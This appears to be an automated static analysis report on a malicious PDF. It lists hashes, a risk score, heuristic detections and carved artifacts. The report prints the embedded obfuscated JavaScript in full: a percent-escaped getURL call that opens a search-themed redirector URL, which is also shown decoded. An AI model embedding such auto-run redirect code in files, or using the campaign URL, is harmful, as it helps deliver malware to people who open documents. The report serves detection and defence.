Malicious PDF — malware analysis report

Static analysis result for SHA-256 aadb8474941652d2…

MALICIOUS

PDF

40.5 KB Created: 2012-05-04 16:02:40 +04:00 Authoring application: Podbean.com (via mPDF 5.0) First seen: 2017-02-22
MD5: 5cdc0ee36b36601297da64f86fb8ff04 SHA-1: 7db2497dee0047a10f11838dfa4c05bf0a63a7de SHA-256: aadb8474941652d2afc0dddfcbce59760c908fd9a5157d5c337fbbeedc1d1d10
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, flagged by heuristics for obfuscation and suspicious content. The extracted JavaScript file, 'javascript_obj0029_000.js', is also noted as suspicious due to hex escape and script obfuscation. This indicates the script is likely designed to download and execute a secondary payload, a common technique for malware delivery. The presence of PDF-specific JavaScript actions further supports this attack pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9981

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?26 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0029_000.js pdf-javascript-stream PDF /JS object 29 at offset 0x9A42 136 bytes
SHA-256: c7112452431da18097498273b54db50e9341201461ae8a86f9d5f45cf5226215
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%32%36'))
stream_003_off00001213.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x1213 17832 bytes
SHA-256: 4056ebfe3787e8014d280a1c1758194f27ba9894cd4d5103b3e304c7c49fa759
font_01_sfnt_off00004059.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4059 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00006e99.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x6E99 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516

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